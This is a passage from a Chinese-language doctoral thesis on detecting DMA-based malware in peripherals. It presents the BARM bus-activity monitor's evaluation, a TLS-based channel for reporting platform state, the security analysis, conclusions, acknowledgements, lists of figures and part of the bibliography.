为了验证公式 6.1，我们引导了不同的测试。评估结果如图 6.8 所示。这些结果揭示了当 ping，scp 和 wget 命令造成网络流量时，BARM 测量结果会产生较大的波动。表 6.1 提供了关于造成这些较大波动的原因的信息。此表呈现了在使用 wget 命令下载一个 1 GB 的文件时进行的 BARM 测量的结果。所应用的采样区间为 32 ms。此表描述了一个较大的正偏差（参见 BARM 样本 125924：13 次总线传输）之后跟着一个较大的负偏差（参见 BARM 样本 125925：-12 次总线传输）。我们假设正偏差发生于网络数据包已经由以太网控制器复制到宿主内存，但是 BARM 未能在当前采样区间中评估对应的接收描述符。这些描述符在下一个采样区间中可用。因此，BARM 在下一个区间中评估这些描述符，而这又导致了负偏差。BARM 从测量的传输次数减去预期总线传输，而这部分传输实际上已经在上一个采样区间中测量过了。

如表 6.1 所示，这些正值和负值相互抵消。因此，可以通过简单地累加正负 BARM 测量值而使得波动最小化。如表 6.1 所示，一对正负测量值也可以以另一种方式发生（例如参见 BARM 样本 125926 和 125927）。这意味着负值先于正值被检测到。我们假设这发生于 BARM 已经分析了传送描述符，而对应的数据包尚未被以太网控制器所复制。因此，BARM 在其实际被测量之前，已经从测量到的总线传输次数中减去了这部分预期总线传输。这些传输于下一个采样区间中被测量，从而导致一个较大的正偏差。

表 6.1 显示出波动的 BARM 测量值

BARM 采样编号	BARM 测量值	BARM 采样编号	BARM 测量值	BARM 采样编号	BARM 测量值	BARM 采样编号	BARM 测量值
125912	5	125928	5	125944	2	125960	-21
125913	2	125929	0	125945	25	125961	25
125914	3	125930	-2	125946	-48	125962	2
125915	2	125931	5	125947	28	125963	-2
125916	3	125932	2	125948	0	125964	3
125917	0	125933	5	125949	3	125965	2
125918	0	125934	0	125950	5	125966	5
125919	1	125935	-2	125951	1	125967	2
125920	2	125936	9	125952	13	125968	-1
125921	-17	125937	2	125953	-21	125969	2
125922	22	125938	3	125954	5	125970	2
125923	1	125939	-2	125955	2	125971	6
125924	13	125940	8	125956	2	125972	0
125925	-12	125941	-3	125957	-1	125973	1
125926	-15	125942	0	125958	4	125974	2
125927	22	125943	5	125959	3	125975	3

采样编号和对应的测量值取自测量日志，该日志取自从 http://download.thinkbroadband.com/1GB.zip [访问于 2014 年二月 25 日] 下载一个 1 GB 的文件时。BARM 采样区间为 32 ms。

图 6.8 具有网络流量时的预期总线活动评估

我们为 6 种不同的测试案例评估了预期总线活动。此差值以从图 5.6 中所知的盒图的形式可视化。在第一个案例（BARM）中，我们只运行了改良的 BARM，而在第二个案例中，我们连同改良的 BARM 一起运行了基于 OpenSSL 的合法报告信道。我们在这两种情况下各自运行了 100 次 BARM 测量。BARM 和合法报告信道同样在其余的测试案例（ping，scp，wget 和 wget'）中保持活动。我们以 1000 字节的负载执行了 ping 命令 100 次（ping）。在 scp 案例中，我们将一个 100 MB 的文件从外部平台复制到我们的目标平台 100 次。在 wget 案例中，我们使用 wget 命令从 http://download.thinkbroadband.com/1GB.zip [访问于 2014 年二月 25 日] 下载了一个 1 GB 的文件。我们对除了最后一项测试（wget'）以外的全部测试使用了 32 ms 的 BARM 采样间隔。wget' 案例的盒图代表了在利用 wget 下载一个 1 GB 的文件时使用 1024 ms 采样区间的结果。

我们在利用 wget 命令下载一个 1 GB 的文件时检测到了发生于两个采样区间之间的上述行为。如图 6.8 所示，当使用 wget 并且使用 32 ms 采样区间（参见 wget）时的波动大于使用 1024 ms 采样区间（参见 wget'）时的。

6.3.2 网络性能开销评估

我们引导了一组网络基准测试以揭示由改良的 BARM 所造成的网络性能开销。此改良版本的 BARM 持久地发送心跳消息。其结果如图 6.9 所示。图 6.9 所示的结果揭示了每隔 32 ms 发送一次心跳消息时的相对性能开销约为 4.5%。此区间长度对应于 BARM 的采样区间。并不必须将用于 BARM 测量采样的相同区间长度用于报告，由于我们用于传送平台状态数据的心跳消息的格式。该设备标识对列表代表了关于恶意外设的历史记录。因此，对于同为 32 ms 的采样和报告区间的网络性能开销可以避免。唯一的要求是采样区间小于或者等于报告区间。

图 6.9 对于不同报告区间和固定采样区间的相对性能开销

此图对比了 3 组系列测量的结果。第一组测量系列（不活动）代表基线。不活动意味着 BARM 并未运行，以及没有心跳消息被发送。图中的条形表示 100 次测量的平均值，同时参见 5.3.2 节。我们（利用时间戳计数器）测量了利用 scp 命令从外部平台复制一个 100 MB 文件所需的时钟周期。测量针对 32 ms 和 1024 ms 的报告区间进行。在两种情况下，我们都使用 32 ms 的 BARM 采样区间。每 32 ms 发送一次心跳消息时的相对性能开销约为 4.5%，而每 1024 ms 发送一次该消息时的开销仅约为 0.5%。

6.3.3 利用 DAGGER 进行测试

我们利用改良的总线代理运行时监视器 BARM 重复了 DMA 恶意软件 DAGGER 测试（参见 5.3.3 节）。其结果总结于图 6.10，6.11 和 6.12。我们在运行时的任意时间点攻击了目标平台。图 6.10 确认了改良的 BARM 能够揭示 DMA 攻击并且终止恶意外设。图 6.11 和图 6.12 中截取的日志来自于相同的实验，该实验也是图 6.10 的基础。

图 6.10 在运行时的任意时间点以及存在合法报告信道的情况下评估改良的 BARM

所引导的实验类似于 5.3.3 节所呈现的实验。BARM 的采样区间为 32 ms，并且容错值为 50 次总线传输。这一次，BARM 将以太网控制器视为一个额外的总线主控，这允许我们启动我们的合法报告信道。心跳消息每隔 32 ms 发送一次。此图对比了 3 条曲线，即容错值 T、在没有任何攻击时的 BARM 测量结果，以及发生了一次 DAGGER 攻击时的 BARM 测量结果。

图 6.11 BARM 合法报告信道——客户端侧

此图呈现了 BARM 日志输出的一部分。BARM 被部署于目标平台，即客户端上。此日志输出展示了 BARM 揭示了一次 DMA 攻击，并且 BARM 能够终止该恶意外设。

图 6.12 BARM 合法报告信道——服务器侧

此图描述了适配的 OpenSSL 服务器的日志输出。此日志包含 TLS 握手消息、回调函数调用消息，以及所接收到的 BARM 测定结果。测定结果值同图 6.11 所呈现的。部署于客户端侧的 BARM 实例能够终止此次攻击。在此范例中，本地安全策略容忍了此次被终止的攻击。或者，服务器也可以终止此信道，如果服务器收到了 441 次总线传输的 BARM 测试结果。服务器同样配置了 T = 50 次总线传输的容错值。

6.4 安全性考虑

在本节中，我们非形式化地评估了我们于本章开头所引入的安全性要求。形式化的证明超出了本工作的范围。众多与 TLS 协议的安全性证明相关的研究工作已经于过去被发表。一部综述由 Kohlweiss 等人 [78] 呈现。此研究同样考虑了多种 TLS 变体。我们假设我们的基于 TLS 的信道也能被形式化地证明。然而，本章的关注焦点在于考虑了网卡的改良的 BARM。因此，我们重新审视了我们的改良的 BARM 能够在多大程度上满足对于安全信道（R1）、将 BARM 的测定结果绑定到该安全信道（R2），以及隐私（R3）的要求。

R1——安全信道属性

由于所应用的 TLS 协议，此通讯信道已经保证了安全信道属性中的机密性、完整性、合法性，以及新鲜性。由于改良的 BARM，这些属性同样在端点，即宿主 CPU 上得到了保证。鉴于攻击者必须搜索有价值数据，BARM 保证了存在于主内存中的数据的完整性和机密性。攻击者只能随机写入或者读取主内存而不能搜索有价值数据。攻击者同样需要搜索一次性随机数、密钥素材或者会话密钥 SeK 以及签名密钥对的私钥部分 SK_sign 以攻击此通讯会话。因此，改良的 BARM 同样能够在端点上兼顾合法性和新鲜性的属性，由于在攻击者搜索主内存时检测到了额外的总线流量。

攻击者只能引导一次中间人攻击，如果攻击者能够通过 DMA 偷取私钥素材或者会话密钥。扫描内存以查找这些数据将会被 BARM 检测到。BARM 还能够识别恶意设备。因此，对主内存的访问可以被防止。注意，宿主 CPU 可以通过将一部分敏感数据存储于处理器寄存器中而迫使攻击者造成更多的总线传输。此项技术已经在相关工作中被提议，参见 3.2.6 节。这并不能够保护敏感数据，由于 DMA 攻击可以被用于将处理器寄存器内容转储到主内存。然而，这样的攻击将会造成更多的总线活动，而这也会被 BARM 检测到。

攻击者可以试图修改 BARM 测量结果。为了做到这一点，攻击者可以试图从主内存中查找某些变量，在此，BARM 存储那些我们将其用于揭示 DMA 攻击的性能监视单元的值。然而，基于 DMA 的搜索将会被 BARM 揭示出来。或者，攻击者可以试图修改那些 BARM 所使用的对应于性能监视单元的宿主 CPU 寄存器。攻击者不能直接访问宿主 CPU 寄存器。然而，攻击者需要查找一块用于存储宿主 CPU 指令以修改用于性能监视的处理器寄存器的内存区域。这要求宿主 CPU 迟早将会考虑该内存区域，它包含恶意指令。然而，攻击者还是必须通过 DMA 搜索这样一块区域，而这种基于 DMA 的搜索将会被 BARM 揭示出来。

R2——将 BARM 测定结果绑定到安全信道

端点的合法性通过提供证书 cert 而得到保证。该证书包含 BARM 标识符以及签名密钥对的公钥部分 PK_sign。此证书由可信实体签名。两个因素保证了 BARM 测定结果被绑定到该信道。其一，在握手阶段被传输的 BARM 测定结果经过该端点的签名密钥中的私钥部分 SK_sign 签名。其二，被用于会话密钥计算的交换的 DH 值也经过 SK_sign 签名。因此，不仅仅是首先被传送的 BARM 测定结果以及 DH 值被绑定到信道端点，而且也包括用于最终建立用于合法状态报告的安全通讯信道的会话密钥 SeK。这意味着每一条心跳消息也都被绑定到信道端点。这些消息只会通过由 SeK 所保护的信道以加密的形式而被传送。

端点的合法性同样防止了一种中继攻击，在此，攻击者能够向第三方平台发送请求以签名一条包含少于 50 次总线传输的 BARM 测量值的平台状态数据 PSD。第三方平台不能访问目标平台的 SK_sign。这意味着我们可以排除攻击者能够引导中继攻击的可能性。或者，攻击者可以试图伪造 PSD 签名。为了做到这一点，攻击者需要存在于主内存中的 SK_sign。然而，当攻击者通过 DMA 搜索 SK_sign 时，BARM 还是会揭示此次攻击并且内存访问将会被终止。因此，我们可以得出结论，即攻击者不能伪造数字签名。

R3——隐私

唯一以未加密形式传送的敏感数据是首次 BARM 测量值，它在握手阶段被发送至对端。尽管受到攻击的网卡可以被用于拦截这个值，此首次测量结果的值不太可能对于攻击者有用。它与其他测量值相互独立，后者被用于识别 BARM 于何时检测到 - T 次总线传输。因此，我们可以得出结论，即我们的合法报告信道满足最少信息范型。

6.5 本章小结

在本章中，我们为 BARM 开发、实现并且评估了一种合法报告信道应用。此信道基于安全信道协议 TLS。我们修改了 TLS 协议以便在握手阶段以及其余的通讯会话中考虑 BARM 测定结果。我们的修改基于 TLS 扩展，这意味着我们的信道符合 TLS 规范。更进一步地，我们的报告信道的实现满足我们为 DMA 恶意软件场景所定义的安全性要求（宿主 CPU 端点的合法性以及信道绑定）。如果未能满足这些要求，则执行于网卡上的恶意软件对于同外部平台进行合法通讯来说仍然是一种威胁。

我们的信道是用于我们的总线代理运行时监视器的一个应用，如果通讯伙伴要求关于平台状态更改的报告。合法报告信道将状态改变传送至该端。我们利用我们自己的 DMA 恶意软件 DAGGER 配合所实现的报告信道确认了 BARM 的有效性和高效性。与合法平台状态报告相关的前期工作假设存在这样一种高效的运行时监视器。然而，呈现于前期工作中的对应的概念验证实现并未包含这样一种监视器。更进一步地，前期工作也并未考虑 DMA 恶意软件场景。

我们同样可以得出结论，即 BARM 可以处理更加复杂的总线主控。我们展示了 BARM 不仅仅能够处理宿主 CPU、UHCI 控制器等，也能处理以太网控制器。为了将以太网控制器整合进 BARM 的检测模型，我们不得不针对内存读取和内存写入访问对该控制器进行分析。我们通过利用额外的性能监视单元配置能够区分读取和写入访问。然而，为了最终确定由以太网控制器造成的总线传输数量，我们不得不引入了一个新的参数。这个新参数是缓存线大小。根据我们的评估，BARM 测量结果的波动只是略微高于未考虑以太网控制器的版本。此外，波动仍然处于 T = ±50 次总线传输的范围内。我们的经验性测量揭示了合法报告信道应用的性能开销是可忽略的，如果心跳消息大约每秒发送一次。报告区间可以大于 BARM 的采样区间。DMA 恶意软件攻击信息的缺失可以通过在心跳消息中包含一段攻击历史记录而避免。

第 7 章结论和未来工作

逻辑学是一种系统性的方法，用于满怀信心地得出错误的结论。——Manly’s Maxim，Murphy 法则集锦

通过攻击计算机平台外设来攻击宿主平台内存代表了当前 rootkit 进化的顶峰。本论文呈现了关于利用这些 rootkit 技术针对计算机平台发动攻击的研究。平台外设非常适合隐藏恶意代码以攻击宿主平台。这些外设包含具有专用处理器和专用内存，并且能够直接访问宿主内存的隔离执行环境。在本工作之前，源自利用直接内存访问（DMA）的恶意软件的攻击曾经被看作是对于宿主 CPU 不可见 的。然而，本论文展示了 宿主 CPU 仍然能够检测那些利用 DMA 的攻击。这允许宿主 CPU 化解此类攻击。

最近，诸如管理控制器和网卡（NIC）等外设几乎存在于每一部计算设备中。服务器系统、台式机系统、笔记本、平板，以及甚至是移动电话都使用专用控制器以便从宿主 CPU 上卸载工作量。尽管渗透这样一部外设是一项资源密集型任务，然而就其隐秘性而言，这些环境仍然具有吸引力。DMA 机制是攻击宿主内存的基础。因此，我们将那些利用直接内存访问的基于外设的攻击代码称为 DMA 恶意软件。通过利用 DMA 恶意软件，攻击者可以以某种隐秘的方式读取和写入宿主内存。对手能够访问存在于主内存中的全部数据。因此，攻击者可以偷取诸如密码学密钥、口令、互联网银行凭证、打开的文件，以及所有用户输入等敏感数据。对手也可以向主内存中插入数据以实现内核后门。然而，这会降低隐秘攻击的成功率，由于理论上宿主软件可以检测到针对宿主内存的恶意修改。与之相反，攻击者也可以通过 DMA 攻击宿主检测软件以避免被检测到。

在本工作中，我们开发并且分析了一种 DMA 恶意软件概念验证。此恶意软件执行于某个隔离执行环境，其内部工作方式不可被宿主访问。本论文的目标是展示即使宿主 CPU 不能访问可疑外设的内部工作方式，宿主 CPU 仍然能够保护自己不受 DMA 恶意软件的攻击。我们用于我们的恶意软件概念验证的外设是 Intel 管理引擎（Intel ME）。除了其他事情以外，Intel 还利用 ME 环境实现了一台网络服务器，它为系统管理员提供了远程设备管理能力。管理员能够恢复宿主操作系统，即使该平台已经不能启动，例如由于操作系统内核完整性的损坏。Intel 应用了保护机制以确保 ME 特性不能被用于攻击宿主。然而，这种保护也确保了诸如反病毒软件等无法评估 ME 环境。与之相反，例如能够通过零日漏洞等方式渗透 ME 的攻击者同样得益于这种保护。

我们的恶意软件概念验证是一种 基于直接内存访问的击键码记录器（Direct memory Access based keystroke code loGGER）。DAGGER 展示了就宿主 CPU 的检测能力而言，实现隐秘恶意软件是可能的。攻击代码执行于专用的 ME 处理器上。因此，此击键码记录器对于宿主并不会造成可测量的性能开销。我们的恶意软件同样能够捕获短寿命数据，例如击键码。我们利用 ME 环境的隔离的带外网络特性来将诸如捕获的击键码等私密数据潜出至外部平台。此网络特性同样对于宿主不可见。我们对 DAGGER 的分析揭示了 DMA 恶意软件必须从宿主内存中搜索有价值数据。对宿主内存的这种搜索过程造成了额外的总线活动，而如果使用了内存地址随机化机制，或者如果私密数据存在于 CPU 缓存或者 CPU 寄存器中，这种额外的总线活动还会增加。我们还确定了不同设备的并行内存访问请求由内存控制器集线器进行仲裁。这导致了这样一种假设，即仲裁器可以造成 DMA 副作用，而我们能够利用这种副作用来检测 DMA 恶意软件。我们通过引导一次内存压力测试而确认了这一假设。有了这次实验，我们展示出了一种可靠的，可测量的 DMA 副作用。我们的测量考虑了基于宿主 CPU 时钟周期以及性能计数器的精确计时。

我们带着开发一种 DMA 恶意软件检测器的目标继续了本研究。我们分析了宿主 CPU 的性能计数器。最终，我们的调查得出了一种能够区分合法和非法内存总线传输的性能计数器配置。我们对宿主操作系统的预期总线活动进行了建模，并且将其同测量得到的总线活动进行比较。为了对预期总线活动进行建模，我们使用了操作系统内核中可用于宿主 CPU 的信息。

我们以一种操作系统内核模块的形式实现了我们的模型和测量机制，我们称其为 总线代理运行时监视器，简称 BARM。BARM 是一种运行时监视器，它同时考虑了瞬时攻击。我们的监视器只造成了可忽略的性能开销。BARM 不要求对固件或者硬件进行任何修改。我们的运行时监视器同样不要求对于潜在受到攻击的外设的内部工作方式的任何访问。在对我们的概念验证实现 BARM 进行评估之后，我们得出结论，即宿主 CPU 能够检测并且终止 DMA 恶意软件。我们的评估同样揭示了最小化的 BARM 测量结果波动。这些波动可能发生于使用性能计数器时，由于我们将这些性能计数器用于我们的概念验证实现。我们通过引入容错值来克服这一问题。此容错值是一个经验值，它代表可被容忍的总线传输次数，即在我们的案例中，容错值是 50 次总线传输。我们展示了 DMA 恶意软件在宿主运行时内存中搜索有价值数据时会造成大得多的总线活动。

然而，此容错值也展示了当前 BARM 实现的一种局限性。理论上，对手可以在每个采样区间内隐藏多达 2 T 的总线传输。然而仅当对手能够精确地预测 BARM 检测到 - T 次总线传输的时间点时，这才是可行的。与之相反，这也会导致更加迟缓的搜索阶段，而宿主 CPU 可以利用这一点来保护宿主内存中的目标数据。另一种局限性是一种由以太网控制器引导的可能的中间人攻击。我们通过实现一种合法报告信道来化解这种中间人攻击。用于报告平台状态的合法报告信道是本工作的另一个目标。在我们的场景中，此平台状态包括 DMA 恶意软件。BARM 将合法测定结果传送至外部平台。

诸如 TLS 等安全信道协议不足以胜任我们的场景。我们调整了 TLS 协议以满足合法平台状态报告的要求。同时考虑网卡是至关重要的，由于它可以潜在地修改或者拦截 BARM 数据包。为了逃避检测，网卡还可以实施 中间人（MitM）攻击，通过将另一平台的良好 BARM 测定结果中继到想要评估目标平台状态的平台上。另一个范例是通过 DMA 偷取存在于宿主运行时内存中的密钥素材。为了消除这些问题，此通讯信道被绑定到实际端点，即宿主 CPU。BARM 对总线活动的测定结果进行数字签名，并且确保私钥以及通讯信道的会话密钥被保护起来以防止 DMA 恶意软件攻击。为了实现一种关于合法平台状态报告应用的概念验证，我们必须改良 BARM 以考虑网卡的合法内存总线活动。关于我们的信道应用的评估确认了网卡可以被 BARM 可靠地考虑。

未来工作

尽管我们能够得出结论，即宿主 CPU 能够利用 BARM 保护自己不受 DMA 恶意软件的攻击，仍有一些任务留作我们的未来工作。首先，在非 Intel 硬件上评估 BARM 背后的理念将会十分有趣。诸如 ARM 等其他架构也提供了硬件性能计数器。基于 ARM 的平台同样用到了可以作为 DMA 恶意软件的潜在宿主的外设。当考虑到这些平台在其设计中广泛使用 系统芯片（SoC）时，这变得特别有趣。因此，位于相同设备封装或者芯片之中的外设可以被用于实现系统后门。

调查基于计时的 DMA 副作用是否也可被用于实现一种可靠的检测工具也很有趣。这可能对于那些不支持性能计数器的架构非常有用。BARM 实现还应该考虑其他外设。在我们看来，在 BARM 的检测模型中整合更多的外设更为重要。这也可能消除 BARM 测量结果中的波动。值得注意的是，整合更多的基于 DMA 的设备是一项资源密集型任务。因此，后续研究项目应该检查此过程能够在多大程度上自动化。

致谢

首先，我特别想要感谢我的导师 Jean-Pierre Seifert。我不仅感谢众多有益的讨论以及卓越的研究环境，同时也感谢允许我自由地选择我自己的论文题目。他的感召、鼓舞、激励和启发使我感激终生。感谢我的导师，他使我总是对我的研究和论文充满信心。其次，我想要对来自柏林科大电信安全委员会（SecT）的同事和朋友们致以最诚挚的谢意。特别感谢 Nico Golde 和 Dmitry Nedospasov（博士团队），以及 Iurii Bystrov，Kévin Redon，Ravi Borgaonkar，和 Collin Mulliner。如果没有博士团队，我可能现在还在写作我的论文。特别地，我感谢 Collin 在所有领域提出的建议。如果没有 Iruii，与 Intel AMT/ME 相关的工作不可能取得如此巨大的成功。

我同样想要感谢柏林科大通讯和操作系统（KBS）研究小组以及计算机安全工作组（AGRS），由于众多有益的评论，以及他们对于对于准备学术会议演讲的有益建议。此外，我想要感谢来自云和安全实验室（惠普 Bristol 实验室）的 Dirk Kuhlmann 和 Chris Dalton，由于他们那些非常有益和激励性的讨论帮助我开发了 BARM 所基于的理念。

我同样感谢我所得到的来自软件校园计划的帮助。德国电信 AG（DTAG）和电信创新实验室（T-Labs）在此计划的上下文环境中对我的工作进行了支持。我的软件校园计划由德意志联邦教育和科研部资助（批准号 O1IS12056）。此项目的成果是我的论文的重要组成部分。因此，我想要感谢软件校园团队的组织支持、DTAG/T-Labs 的业界指导、柏林科大/SecT 的学术指导，以及德意志联邦教育和科研部的经济支持。

在我作为博士生期间，有许多其他人以不同方式帮助过我。我没法在此列出他们的全部，但是我想要特别感谢下列支持者的帮助（不完全统计，排名不分先后）：Yacine Gasmi，Martin Unger，Kei Ishii，和 Marcel Selhorst。此外，博士学位委员会，即 Hans-Ulrich Heiß，Jean-Pierre Seifert，以及外部审稿人 Konrad Rieck 和 Volker Roth 为我的论文最终版本给予了无价的反馈，我对此深表谢意。

此外，我特别想要感谢我的家庭，特别是我的家长和姐妹的鼓励和爱。最后，我深深地感谢我的未婚妻 Gesche，你总是尽你所能极大地帮助了我。感谢你的光辉灿烂的支持，鼓舞和爱！

附录 A 图注清单

图 2.1 “-3 环”环境，与 x86 平台上的其他 rootkit 环境相比
图 2.2 能够潜在地被 rootkit 利用的专用隔离硬件概述
图 2.3 x86 芯片组和外设组件
图 2.4 第三方和第一方 DMA
图 2.5 总线主控拓扑结构
图 4.1 DAGGER 一般设计
图 4.2 Intel 管理引擎环境
图 4.3 USB 请求块签名扫描（简化）
图 4.4 查找 DeviceExtension 结构（简化）
图 4.5 查找 KiInitialPCR（简化）
图 4.6 包含来自键盘缓冲区的字节的网络数据包
图 4.7 宿主性能 CPU、内存和网络开销测试
图 4.8 搜索时间测试结果 (a) 和 (b)
图 4.9 搜索时间测试结果 (c) 和 (d)
图 4.10 内存压力测试
图 5.1 总线主控拓扑结构被利用以揭示恶意内存访问
图 5.2 Intel 四核处理器
图 5.3 UHCI 计划信息（简化）
图 5.4 对由 3 个活动的总线主控造成的内存传输进行分解
图 5.5 容错值 T
图 5.6 确定足够的容错值 T
图 5.7 宿主性能 CPU 和内存开销评估
图 5.8 利用口令提示符（ssh 命令）于运行时的任意时间点评估 BARM
图 6.1 协商一条合法报告信道
图 6.2 传送 / 接收描述符环的结构
图 6.3 e1000e.ko 驱动程序的传送 / 接收描述符转储
图 6.4 BUS_TRANS 事件计数器
图 6.5 考虑了 Hello 扩展和补充数据扩展的 TLS 握手
图 6.6 用于合法报告信道的适配的 TLS-DHE-RSA 握手 (a)
图 6.7 用于合法报告信道的适配的 TLS-DHE-RSA 握手 (b)
图 6.8 具有网络流量时的预期总线活动评估
图 6.9 对于不同报告区间和固定采样区间的相对性能开销
图 6.10 在运行时的任意时间点以及存在合法报告信道的情况下评估改良的 BARM
图 6.11 BARM 合法报告信道——客户端侧
图 6.12 BARM 合法报告信道——服务器侧

附录 B 表注清单

表 4.1 DMA 攻击范例对于判据 C1-C4 的满足情况
表 6.1 显示出波动的 BARM 测量值

附录 C 参考文献

[1] Doug Abbott. PCI Bus Demystified. Demystifying Technology Series. Elsevier Science, 2004.
[2] Darren Abramson, Jeff Jackson, Sridhar Muthrasanallur, Gil Neiger, Greg Regnier, Rajesh Sankaran, Ioannis Schoinas, Rich Uhlig, Balaji Vembu, and John Wiegert. Intel Virtualization Technology for Directed I/O. Intel Technology Journal, 10(3):179–192, August 2006.
[3] Grace Agnew. Digital Rights Management: A Librarian’s Guide to Technology and Practise. Chandos Information Professional Series. Chandos Pub., 2008.
[4] Raja Naeem Akram, Konstantinos Markantonakis, and Keith Mayes. Application-binding Protocol in the User Centric Smart Card Ownership Model. In Proceedings of the 16th Australasian Conference on Information Security and Privacy, ACISP’11, pages 208–225, Berlin, Heidelberg, 2011. Springer-Verlag.
[5] Raja Naeem Akram, Konstantinos Markantonakis, and Keith Mayes. A Privacy Preserving Application Acquisition Protocol. In Geyong Min, Yulei Wu, Lei (Chris) Liu, Xiaolong Jin, Stephen A. Jarvis, and Ahmed Yassin Al-Dubai, editors, TrustCom, pages 383–392. IEEE Computer Society, 2012.
[6] Don Anderson. FireWire System Architecture: IEEE 1394a. PC System Architecture Series. Addison Wesley, 1999.
[7] Don Anderson. SATA Storage Technology. MindShare Technology Series. MindShare Press, 2007.
[8] Don Anderson and Dave Dzatko. Universal Serial Bus System Architecture. PC System Architecture Series. Addison Wesley, 2001.
[9] Don Anderson and Tom Shanley. PCI System Architecture. PC System Architecture Series. Addison Wesley, 1999.
[10] Frederik Armknecht, Yacine Gasmi, Ahmad-Reza Sadeghi, Patrick Stewin, Martin Unger, Gianluca Ramunno, and Davide Vernizzi. An Efficient Implementation of Trusted Channels based on OpenSSL. In Proceedings of the 3rd ACM Workshop on Scalable Trusted Computing, STC ’08, pages 41–50, New York, NY, USA, 2008. ACM.
[11] Damien Aumaitre and Christophe Devine. Subverting Windows 7 x64 Kernel with DMA Attacks. Sogeti ESEC Lab: http://esec-lab.sogeti.com/dotclear/public/publications/10-hitbamsterdam-dmaattacks.pdf [accessed 25 February 2014], July 2010.
[12] M. Baugher, D. McGrew, M. Naslund, E. Carrara, and K. Norrman. The Secure Real-time Transport Protocol (SRTP). The Internet Engineering Task Force: http://tools.ietf.org/html/rfc3711 [accessed 25 February 2014], March 2004. RFC3711.
[13] Muli Ben-Yehuda, Jimi Xenidis, Michal Ostrowski, Karl Rister, Alexis Bruemmer, and Leendert van Doorn. The Price of Safety: Evaluating IOMMU Performance. In OLS ’07: The 2007 Ottawa Linux Symposium, pages 9–20, July 2007.
[14] S. Blake-Wilson, M. Nystrom, D. Hopwood, J. Mikkelsen, and T. Wright. Transport Layer Security (TLS) Extensions. The Internet Engineering Task Force: http://www.ietf.org/rfc/rfc4366.txt [accessed 25 February 2014], April 2006. RFC4366.
[15] Erik-Oliver Blass and William Robertson. TRESOR-HUNT: Attacking CPU-bound Encryption. In Proceedings of the 28th Annual Computer Security Applications Conference, ACSAC ’12, pages 71–78, New York, NY, USA, 2012. ACM.
[16] Bill Blunden. The Rootkit Arsenal: Escape And Evasion In The Dark Corners Of The System. Jones & Bartlett Learning, 2012.
[17] Adam Boileau. Hit by a Bus: Physical Access Attacks with Firewire. Security-Assessment.com: http://www.security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf [accessed 25 February 2014], October 2006. Ruxcon 2006.
[18] Rory Breuk and Albert Spruyt. Integrating DMA Attacks in Exploitation Frameworks. Homepage of Cees de Laat: http://www.delaat.net/rp/2011-2012/p14/report.pdf [accessed 25 February 2014], February 2012.
[19] Rory Breuk and Albert Spruyt. Integrating DMA Attacks in Metasploit. Sebug: http://sebug.net/paper/Meeting-Documents/hitbsecconf2012ams/D2%20SIGINT%20-%20Rory%20Breuk%20and%20Albert%20Spruyt%20-%20Integrating%20DMA%20Attacks%20in%20Metasploit.pdf [accessed 25 February 2014], May 2012.
[20] Ernie Brickell, Jan Camenisch, and Liqun Chen. Direct Anonymous Attestation. In Proceedings of the 11th ACM Conference on Computer and Communications Security, CCS ’04, pages 132–145, New York, NY, USA, 2004. ACM.
[21] Jonathan Brossard. Hardware Backdooring is Pratical. Toucan System: http://www.toucan-system.com/research/blackhat2012_brossard_hardware_backdooring.pdf [accessed 25 February 2014], 2012.
[22] Jonathan Brossard. Hardware Backdooring is Pratical. Black Hat USA 2012: https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH_US_12_Brossard_Backdoor_Hacking_Slides.pdf [accessed 25 February 2014], 2012.
[23] William Buchanan. Computer Busses. Electronics & Electrical. Taylor & Francis, 2010.
[24] Ravi Budruk, Tom Shanley, and Don Anderson. PCI Express System Architecture. The PC System Architecture Series. Addison Wesley, Pearson Education, July 2010. MindShare, Inc.
[25] Yuriy Bulygin. Chipset based Approach to Detect Virtualization Malware. hakim.ws: http://www.hakim.ws/BHUSA08/speakers/Bulygin_Detection_of_Rootkits/bh-us-08-bulygin_Chip_Based_Approach_to_Detect_Rootkits.pdf [accessed 25 February 2014], 2008.
[26] John Butterworth, Corey Kallenberg, Xeno Kovah, and Amy Herzog. Problems with the Static Root of Trust for Measurement. Black Hat: https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-WP.pdf [accessed 25 February 2014], 2013. Presented at Black Hat, Slides: https://media.blackhat.com/us-13/US-13-Butterworth-BIOS-Security-Slides.pdf [accessed 25 February 2014].
[27] Emanuele Cesena, Hans Löhr, Gianluca Ramunno, Ahmad-Reza Sadeghi, and Davide Vernizzi. Anonymous Authentication with TLS and DAA. In Alessandro Acquisti, Sean W. Smith, and Ahmad-Reza Sadeghi, editors, Trust and Trustworthy Computing, volume 6101 of Lecture Notes in Computer Science, pages 47–62. Springer Berlin Heidelberg, 2010.
[28] Xiaolin Chang, Ying Qin, Zhi Chen, and Bin Xing. ZRTP-based Trusted Transmission of VoIP Traffic and Formal Verification. In Proceedings of the 2012 Fourth International Conference on Multimedia Information Networking and Security, MINES ’12, pages 560–563, Washington, DC, USA, 2012. IEEE Computer Society.
[29] Song Cheng, Liu Bing, Xin Yang, Yang Yixian, Li Zhongxian, and Yin Han. A Security-enhanced Remote Platform Integrity Attestation Scheme. In Proceedings of the 5th International Conference on Wireless Communications, Networking and Mobile Computing, WiCOM’09, pages 4420–4423, Piscataway, NJ, USA, 2009. IEEE Press.
[30] David Chess, Joan Dyer, Noamaru Itoi, Jeff Kravitz, Elaine Palmer, Ronald Perez, and Sean Smith. Using Trusted Co-servers to Enhance Security of Web Interaction. United States Patent 7,194,759: http://www.freepatentsonline.com/7194759.html [accessed 25 February 2014], March 2007.
[31] Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman. Linux Device Drivers, 3rd Edition. O’Reilly Media, Inc., 2005.
[32] Rob Crooke. Accelerating Innovation in the Desktop. Intel Corporation: http://download.intel.com/pressroom/kits/events/computex2009/Crooke_Computex_presentation.pdf [accessed 25 February 2014], April 2009.
[33] Francis M. David, Ellick Chan, Jeffrey C. Carlyle, and Roy H. Campbell. Cloaker: Hardware Supported Rootkit Concealment. In IEEE Symposium on Security and Privacy, pages 296–310. IEEE Computer Society, 2008.
[34] Jonathan Davidson. Voice Over IP Fundamentals. Cisco Press Fundamentals Series. Cisco Press, 2006.
[35] Guillaume Delugré. Closer to Metal: Reverse Engineering the Broadcom NetExtreme’s Firmware. Sogeti ESEC Lab: http://esec-lab.sogeti.com/dotclear/public/publications/10-hack.lu-nicreverse_slides.pdf [accessed 25 February 2014], October 2010.
